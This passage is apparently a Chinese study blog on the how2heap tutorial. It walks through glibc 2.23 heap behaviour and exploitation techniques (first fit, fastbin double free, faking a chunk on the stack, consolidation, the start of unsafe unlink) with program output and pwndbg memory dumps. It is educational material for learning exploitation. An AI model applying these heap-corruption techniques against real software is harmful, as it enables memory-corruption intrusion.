How2heap 学习记录
0x01 环境
how2heap 是由 shellphish 团队制作的堆利用教程,介绍了多种堆利用技术。使用 Ubuntu 16.04 64位系统环境,glibc 版本如下:
$ file /lib/x86_64-linux-gnu/libc-2.23.so
/lib/x86_64-linux-gnu/libc-2.23.so: ELF 64-bit LSB shared object, x86-64, version 1 (GNU/Linux), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=088a6e00a1814622219f346b41e775b8dd46c518, for GNU/Linux 2.6.32, stripped
从github clone文件夹下来
$ git clone https://github.com/shellphish/how2heap.git
$ cd how2heap
$ make
还有几个实例程序, from CTF-ALL-IN-ONE
0x02 堆分配机制 & malloc & free
在用malloc分配内存时, 程序向堆管理器发起请求
为了保持内存管理高效, 内核会预先分配一块内存给堆管理器, 堆空间不足时, 堆管理器向操作系统进行交互
malloc: malloc(size_t n)
- 当
n=0
时, 返回操作系统允许的最小内存块 - 当
n<0
时, 由于size_t是无符号整型, 因此会分配一个很大的内存(通常失败, 因为没有这么大内存) - 正常情况下返回指定大小的内存的指针
malloc本身是一个用户函数, 并没有真正和系统进行交互, 而是通过调用brk和sbrk以及mmap, munmap函数来操作
图片来自ctfwiki
限于篇幅, 调用malloc后系统的操作将在另一篇文章里说明
free: free(void* p)
- p=null时, free不做任何操作
- p指向的内存如果被释放, 会造成各种影响 (glibc的原文说明:It can have arbitrary (i.e., bad!)effects if p has already been freed.)
- 除了在用mallopt限制了一些内存操作的情况下,当free很大的内存时, 会将这些内存直接返还给系统, 而不是交给堆管理器
0x03 pwndbg的几个操作指令
用了一圈peda, gef, 还是pwndbg好用
r(un) 重新开始运行程序
c(ontinue) 到断点后继续执行
n(ext) 单步步过调试
s(tep) 单步步入调试
until 运行至循环结束
until addr 运行至某一指令
finish 运行至当前函数完成返回
call 调试某个函数
q(uit) 退出
b(reak) addr 在指定位置设置断点
delete 断点号 删除断点
disable 断点号 暂停断点
enable 断点号 恢复断点
clear addr 删除指定位置的断点
info b(reakpoints) 查看断点信息
delete b(reakpoints) 删除所有断点
where/bt 当前运行的堆栈列表;
bt backtrace 显示当前调用堆栈
up/down 改变堆栈显示的深度
set args 参数:指定运行时的参数
show args:查看设置好的参数
arena 查看arena
mp 查看mmap
bins,fastbins,unsorted,smallbins,largebins 各种bins
heap 查看堆
top_chunk
rop --grep "pop rdi" ROP搜索
vmmap 虚拟内存映射
0x04 first_fit
|
第一个程序展示了glibc的堆分配算法, 即first fit首次适应算法
➜ how2heap git:(master) ✗ ./first_fit
This file doesn't demonstrate an attack, but shows the nature of glibc's allocator.
glibc uses a first-fit algorithm to select a free chunk.
If a chunk is free and large enough, malloc will select this chunk.
This can be exploited in a use-after-free situation.
Allocating 2 buffers. They can be large, don't have to be fastbin.
1st malloc(512): 0x21f1010
2nd malloc(256): 0x21f1220
we could continue mallocing here...
now let's put a string at a that we can read later "this is A!"
first allocation 0x21f1010 points to this is A!
Freeing the first one...
We don't need to free anything again. As long as we allocate less than 512, it will end up at 0x21f1010
So, let's allocate 500 bytes
3rd malloc(500): 0x21f1010
And put a different string here, "this is C!"
3rd allocation 0x21f1010 points to this is C!
first allocation 0x21f1010 points to this is C!
If we reuse the first allocation, it now holds the data from the third allocation.
程序先malloc了一个512byte的chunk, 之后malloc了一个256byte的chunk
然后向这两个chunk写入数据
再free第一个512byte的chunk
之后malloc一个500byte的chunk, 会优先分配之前free掉的chunk, 这个free掉的chunk保存在bins中
所以为什么叫bins, 即存放free后的chunk的一个盒子
现在加上内存检测参数重新编译
➜ how2heap git:(master) ✗ gcc -fsanitize=address -g first_fit.c
➜ how2heap git:(master) ✗ ./a.out
This file doesn't demonstrate an attack, but shows the nature of glibc's allocator.
glibc uses a first-fit algorithm to select a free chunk.
If a chunk is free and large enough, malloc will select this chunk.
This can be exploited in a use-after-free situation.
Allocating 2 buffers. They can be large, don't have to be fastbin.
1st malloc(512): 0x61500000fd00
2nd malloc(256): 0x611000009f00
we could continue mallocing here...
now let's put a string at a that we can read later "this is A!"
first allocation 0x61500000fd00 points to this is A!
Freeing the first one...
We don't need to free anything again. As long as we allocate less than 512, it will end up at 0x61500000fd00
So, let's allocate 500 bytes
3rd malloc(500): 0x61500000fa80
And put a different string here, "this is C!"
3rd allocation 0x61500000fa80 points to this is C!
=================================================================
==14332==ERROR: AddressSanitizer: heap-use-after-free on address 0x61500000fd00 at pc 0x7f7c483d21e9 bp 0x7ffd40c779f0 sp 0x7ffd40c77168
READ of size 2 at 0x61500000fd00 thread T0
#0 0x7f7c483d21e8 (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x601e8)
#1 0x7f7c483d2bcc in vfprintf (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x60bcc)
#2 0x7f7c483d2cf9 in fprintf (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x60cf9)
#3 0x400df4 in main /home/a/how2heap/first_fit.c:35
#4 0x7f7c47fc882f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
#5 0x400878 in _start (/home/a/how2heap/a.out+0x400878)
0x61500000fd00 is located 0 bytes inside of 512-byte region [0x61500000fd00,0x61500000ff00)
freed by thread T0 here:
#0 0x7f7c4840a2ca in __interceptor_free (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x982ca)
#1 0x400c4c in main /home/a/how2heap/first_fit.c:25
#2 0x7f7c47fc882f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
previously allocated by thread T0 here:
#0 0x7f7c4840a602 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x98602)
#1 0x400a97 in main /home/a/how2heap/first_fit.c:13
#2 0x7f7c47fc882f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
SUMMARY: AddressSanitizer: heap-use-after-free ??:0 ??
Shadow bytes around the buggy address:
0x0c2a7fff9f50: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c2a7fff9f60: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c2a7fff9f70: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c2a7fff9f80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 fa
0x0c2a7fff9f90: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
=>0x0c2a7fff9fa0:[fd]fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0c2a7fff9fb0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0c2a7fff9fc0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0c2a7fff9fd0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0c2a7fff9fe0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c2a7fff9ff0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Heap right redzone: fb
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack partial redzone: f4
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
==14332==ABORTING
可以看到检测到一个uaf的漏洞
0x05 fastbin_dup
|
程序先malloc了3个8byte的chunk
pwndbg> heap
0x602000 FASTBIN {
prev_size = 0,
size = 33,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x21
}
0x602020 FASTBIN {
prev_size = 0,
size = 33,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x21
}
0x602040 FASTBIN {
prev_size = 0,
size = 33,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x20fa1
}
0x602060 PREV_INUSE {
prev_size = 0,
size = 135073,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
pwndbg> x/20gx 0x602000
0x602000: 0x0000000000000000 0x0000000000000021 <------------ chunk 1
0x602010: 0x0000000000000000 0x0000000000000000
0x602020: 0x0000000000000000 0x0000000000000021 <------------ chunk 2
0x602030: 0x0000000000000000 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000000021 <------------ chunk 3
0x602050: 0x0000000000000000 0x0000000000000000
0x602060: 0x0000000000000000 0x0000000000020fa1
之后free了第一个chunk
pwndbg> x/20gx 0x602000
0x602000: 0x0000000000000000 0x0000000000000021 <------------ chunk 1(be freed)
0x602010: 0x0000000000000000 0x0000000000000000
0x602020: 0x0000000000000000 0x0000000000000021 <------------ chunk 2
0x602030: 0x0000000000000000 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000000021 <------------ chunk 3
0x602050: 0x0000000000000000 0x0000000000000000
0x602060: 0x0000000000000000 0x0000000000020fa1
如果这时候再次free第一个chunk(去掉代码内注释)的话, 会提示:
➜ how2heap git:(master) ✗ ./fastbin_dup
This file demonstrates a simple double-free attack with fastbins.
Allocating 3 buffers.
1st malloc(8): 0xa92010
2nd malloc(8): 0xa92030
3rd malloc(8): 0xa92050
Freeing the first one...
If we free 0xa92010 again, things will crash because 0xa92010 is at the top of the free list.
*** Error in `./fastbin_dup': double free or corruption (fasttop): 0x0000000000a92010 ***
======= Backtrace: =========
/lib/x86_64-linux-gnu/libc.so.6(+0x777e5)[0x7fe8490a57e5]
/lib/x86_64-linux-gnu/libc.so.6(+0x8037a)[0x7fe8490ae37a]
/lib/x86_64-linux-gnu/libc.so.6(cfree+0x4c)[0x7fe8490b253c]
./fastbin_dup[0x400762]
/lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xf0)[0x7fe84904e830]
./fastbin_dup[0x400579]
======= Memory map: ========
00400000-00401000 r-xp 00000000 08:01 1204504 /home/a/how2heap/fastbin_dup
00600000-00601000 r--p 00000000 08:01 1204504 /home/a/how2heap/fastbin_dup
00601000-00602000 rw-p 00001000 08:01 1204504 /home/a/how2heap/fastbin_dup
00a92000-00ab3000 rw-p 00000000 00:00 0 [heap]
7fe844000000-7fe844021000 rw-p 00000000 00:00 0
7fe844021000-7fe848000000 ---p 00000000 00:00 0
7fe848e18000-7fe848e2e000 r-xp 00000000 08:01 661172 /lib/x86_64-linux-gnu/libgcc_s.so.1
7fe848e2e000-7fe84902d000 ---p 00016000 08:01 661172 /lib/x86_64-linux-gnu/libgcc_s.so.1
7fe84902d000-7fe84902e000 rw-p 00015000 08:01 661172 /lib/x86_64-linux-gnu/libgcc_s.so.1
7fe84902e000-7fe8491ee000 r-xp 00000000 08:01 664598 /lib/x86_64-linux-gnu/libc-2.23.so
7fe8491ee000-7fe8493ee000 ---p 001c0000 08:01 664598 /lib/x86_64-linux-gnu/libc-2.23.so
7fe8493ee000-7fe8493f2000 r--p 001c0000 08:01 664598 /lib/x86_64-linux-gnu/libc-2.23.so
7fe8493f2000-7fe8493f4000 rw-p 001c4000 08:01 664598 /lib/x86_64-linux-gnu/libc-2.23.so
7fe8493f4000-7fe8493f8000 rw-p 00000000 00:00 0
7fe8493f8000-7fe84941e000 r-xp 00000000 08:01 664570 /lib/x86_64-linux-gnu/ld-2.23.so
7fe8495ff000-7fe849602000 rw-p 00000000 00:00 0
7fe84961c000-7fe84961d000 rw-p 00000000 00:00 0
7fe84961d000-7fe84961e000 r--p 00025000 08:01 664570 /lib/x86_64-linux-gnu/ld-2.23.so
7fe84961e000-7fe84961f000 rw-p 00026000 08:01 664570 /lib/x86_64-linux-gnu/ld-2.23.so
7fe84961f000-7fe849620000 rw-p 00000000 00:00 0
7fff56009000-7fff5602a000 rw-p 00000000 00:00 0 [stack]
7fff56128000-7fff5612b000 r--p 00000000 00:00 0 [vvar]
7fff5612b000-7fff5612d000 r-xp 00000000 00:00 0 [vdso]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall]
[1] 14401 abort (core dumped) ./fastbin_dup
这是因为glibc内在free同一个chunk时做了处理:
/* Check that the top of the bin is not the record we are going to add |
由于fastbins是一个后进先出(LIFO)的结构, 处于链表头的总是最先被free的chunk
因此我们先free第一个chunk, 之后free第二个chunk, 接着就可以再次free第一个chunk了
因为glibc并未对后续堆块进行检查, 仅检查了最前面的chunk
➜ how2heap git:(master) ✗ ./fastbin_dup
This file demonstrates a simple double-free attack with fastbins.
Allocating 3 buffers.
1st malloc(8): 0x1101010
2nd malloc(8): 0x1101030
3rd malloc(8): 0x1101050
Freeing the first one...
If we free 0x1101010 again, things will crash because 0x1101010 is at the top of the free list.
So, instead, we'll free 0x1101030.
Now, we can free 0x1101010 again, since it's not the head of the free list.
Now the free list has [ 0x1101010, 0x1101030, 0x1101010 ]. If we malloc 3 times, we'll get 0x1101010 twice!
1st malloc(8): 0x1101010
2nd malloc(8): 0x1101030
3rd malloc(8): 0x1101010
加上注释以后可以看到, 在free了两次第一个堆块(0x1101010)后, fastbins的链表中保存了两次这个chunk
按照free的先后顺序, 即0x1101010 -> 0x1101030 -> 0x1101010
在pwndbg中可以看到:
pwndbg> fastbins
fastbins
0x20: 0x602000 —▸ 0x602020 ◂— 0x602000
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
此时, 如果我们malloc三个chunk, 将会从fastbins的链表中返回chunk
可以在输出结果中看到0x1101010这个chunk被返回了两次
同样的, 如果加上内存检测参数-fsanitize=address -g
会提示有double-free漏洞
0x06 fastbin_dup_into_stack
|
这个程序展示了如何通过修改fd指针在栈上伪造一个free chunk
在malloc了3个chunk并且复制了3个字符串进去后:
pwndbg> x/20gx 0x602000
0x602000: 0x0000000000000000 0x0000000000000021
0x602010: 0x4141414141414141 0x0000000000000000
0x602020: 0x0000000000000000 0x0000000000000021
0x602030: 0x4242424242424242 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000000021
0x602050: 0x4343434343434343 0x0000000000000000
0x602060: 0x0000000000000000 0x0000000000020fa1
对第一个chunk double free后:
pwndbg> x/20gx 0x602000
0x602000: 0x0000000000000000 0x0000000000000021
0x602010: 0x0000000000602020 0x0000000000000000
0x602020: 0x0000000000000000 0x0000000000000021
0x602030: 0x0000000000602000 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000000021
0x602050: 0x4343434343434343 0x0000000000000000
0x602060: 0x0000000000000000 0x0000000000020fa1
pwndbg> fastbins
fastbins
0x20: 0x602000 —▸ 0x602020 ◂— 0x602000
0x30: 0x0
接着malloc一个chunk, 内容为栈地址(stack_var - 0x08)
pwndbg> x/20gx 0x602000
0x602000: 0x0000000000000000 0x0000000000000021
0x602010: 0x00007fffffffdd90 0x0000000000000000
0x602020: 0x0000000000000000 0x0000000000000021
0x602030: 0x0000000000602000 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000000021
0x602050: 0x4343434343434343 0x0000000000000000
0x602060: 0x0000000000000000 0x0000000000020fa1
可以看到, 第一个chunk被重新分配, 并保存了我们的栈顶地址(rsp)
这也是为什么stack_var被设置为0x21(0x20也可以), 设置一个和之前chunk大小相同的size
pwndbg> stack
00:0000│ rsp 0x7fffffffdd90 ◂— 0x0
01:0008│ 0x7fffffffdd98 ◂— 0x21 /* '!' */
02:0010│ 0x7fffffffdda0 —▸ 0x602010 —▸ 0x7fffffffdd90 ◂— 0x0
pwndbg> x/20gx 0x7fffffffdd90
0x7fffffffdd90: 0x0000000000000000 0x0000000000000021 <------------------ fake chunk
0x7fffffffdda0: 0x0000000000602010 0x0000000000602010
glibc 在执行分配操作时,若块的大小符合 fast bin,则会在对应的 bin 中寻找合适的块,此时 glibc 将根据候选块的 size 字段计算出 fastbin 索引,然后与对应 bin 在 fastbin 中的索引进行比较,如果二者不匹配,则说明块的 size 字段遭到破坏。所以需要 fake chunk 的 size 字段被设置为正确的值。
glibc 检查代码:
/* offset 2 to use otherwise unindexable first 2 bins */ |
由于我们对第一个chunk进行了两次free, 那么在第四次malloc并把栈地址输入进去的时候, 伪造的chunk实际上替代了第二次free第一个malloc的chunk
这时候的fastbins链表是一个正常的fastbins链表(没有double free的bin)
pwndbg> fastbins
fastbins
0x20: 0x602020 —▸ 0x602000 —▸ 0x7fffffffdd90 —▸ 0x602010 ◂— 0x0
可以看到伪造的chunk已经放在fastbins里了
我们这时再进行两次malloc, 取出第一次和第二次free的chunk, 将伪造的chunk放在表头
pwndbg> fastbins
fastbins
0x20: 0x7fffffffdd90 —▸ 0x602010 ◂— 0x0
然后malloc一次, 即可在fake chunk处分配内存
pwndbg> x/20gx 0x7fffffffdd90 (stack)
0x7fffffffdd90: 0x0000000000000000 0x0000000000000021
0x7fffffffdda0: 0x4747474747474747 0x0000000000602010
0x7fffffffddb0: 0x0000000000602030 0x0000000000602050
0x7fffffffddc0: 0x0000000000602030 0x0000000000602010
0x7fffffffddd0: 0x00007fffffffdda0 0x3bfa61ab402a0700
0x07 fastbin_dup_consolidate
|
程序malloc了两个0x10的chunk
pwndbg> x/20gx 0x602000
0x602000: 0x0000000000000000 0x0000000000000021 <--------------------- p1
0x602010: 0x4141414141414141 0x0000000000000000
0x602020: 0x0000000000000000 0x0000000000000021 <--------------------- p2
0x602030: 0x4242424242424242 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000020fc1
free p1
pwndbg> x/20gx 0x602000
0x602000: 0x0000000000000000 0x0000000000000021
0x602010: 0x0000000000000000 0x0000000000000000
0x602020: 0x0000000000000000 0x0000000000000021
0x602030: 0x4242424242424242 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000020fc1
pwndbg> fastbins
fastbins
0x20: 0x602000 ◂— 0x0
malloc p3(0x500)
pwndbg> x/20gx 0x602000
0x602000: 0x0000000000000000 0x0000000000000021
0x602010: 0x00007ffff7dd1b88 0x00007ffff7dd1b88
0x602020: 0x0000000000000020 0x0000000000000020
0x602030: 0x4242424242424242 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000000411
pwndbg> fastbins
fastbins
0x20: 0x0
pwndbg> smallbins
smallbins
0x20: 0x602000 —▸ 0x7ffff7dd1b88 (main_arena+104) ◂— 0x602000
可以看到, malloc了一个0x400的大chunk后, fastbins中保存的p1的chunk消失了
出现在了smallbins中, 并且chunk p2的size和prev size都被修改了
large chunk的分配机制:
/* |
翻译一哈(google机翻233:
如果这是一个大内存的分配请求(large chunk),将在继续之前合并fastbins。
虽然在查看是否有可用空间之前杀死所有fastbins可能看起来过多,但这可以避免通常与fastbins相关的碎片问题。
此外,在实践中,程序往往会有小型或大型请求,但混合次数较少,因此在大多数程序中通常不会调用整合。
而在其他情况下经常调用的程序往往会碎片化。
当分配large chunk的时候, 首先根据chunk的大小获得对应的large bin的index
malloc_state结构体中`mchunkptr bins[NBINS * 2 - 2];`保存了除了fastbin的其他bin
即small bin, large bin, unsorted bin, 都使用的是双向链表
下标1是unsorted bin, 2~63是small bin, 64~126是large bin
之后呢, 判断fastbins中是否包含chunk, 如果有的话会调用malloc_consolidate合并fastbins的chunk, 加入到unsorted bins中
由于我们分配的是一个0x400大小的chunk, 适合small bin( < 512byte)
所以会从unsorted bin中返回到small bin
由于此时p1 chunk不在fastbins的表头, 可以再次free
pwndbg> x/20gx 0x602000
0x602000: 0x0000000000000000 0x0000000000000021
0x602010: 0x0000000000000000 0x00007ffff7dd1b88
0x602020: 0x0000000000000020 0x0000000000000020
0x602030: 0x4242424242424242 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000000411
pwndbg> fastbins
fastbins
0x20: 0x602000 ◂— 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
pwndbg> smallbins
smallbins
0x20 [corrupted]
FD: 0x602000 ◂— 0x0
BK: 0x602000 —▸ 0x7ffff7dd1b88 (main_arena+104) ◂— 0x602000
一个在fastbins中, 一个在smallbins中. malloc一次并放入字符串CCCCCCC
0x602000: 0x0000000000000000 0x0000000000000021
0x602010: 0x0043434343434343 0x00007ffff7dd1b88
0x602020: 0x0000000000000020 0x0000000000000020
0x602030: 0x4242424242424242 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000000411
第二次malloc, 放入字符串DDDDDDD
pwndbg> x/20gx 0x602000
0x602000: 0x0000000000000000 0x0000000000000021
0x602010: 0x4444444444444444 0x00007ffff7dd1b88
0x602020: 0x0000000000000020 0x0000000000000021
0x602030: 0x4242424242424242 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000000411
可以看到两次malloc并修改的实际上是同一个chunk
0x08 unsafe_unlink
|
$ gcc -g unsafe_unlink.c
$ ./a.out
The global chunk0_ptr is at 0x601070, pointing to 0x721010
The victim chunk we are going to corrupt is at 0x7210a0
Fake chunk fd: 0x601058
Fake chunk bk: 0x601060
Original value: AAAAAAAA
New Value: BBBBBBBB
这个程序展示了怎样利用 free 改写全局指针 chunk0_ptr 达到任意内存写的目的,即 unsafe unlink。
该技术最常见的利用场景是我们有一个可以溢出漏洞和一个全局指针。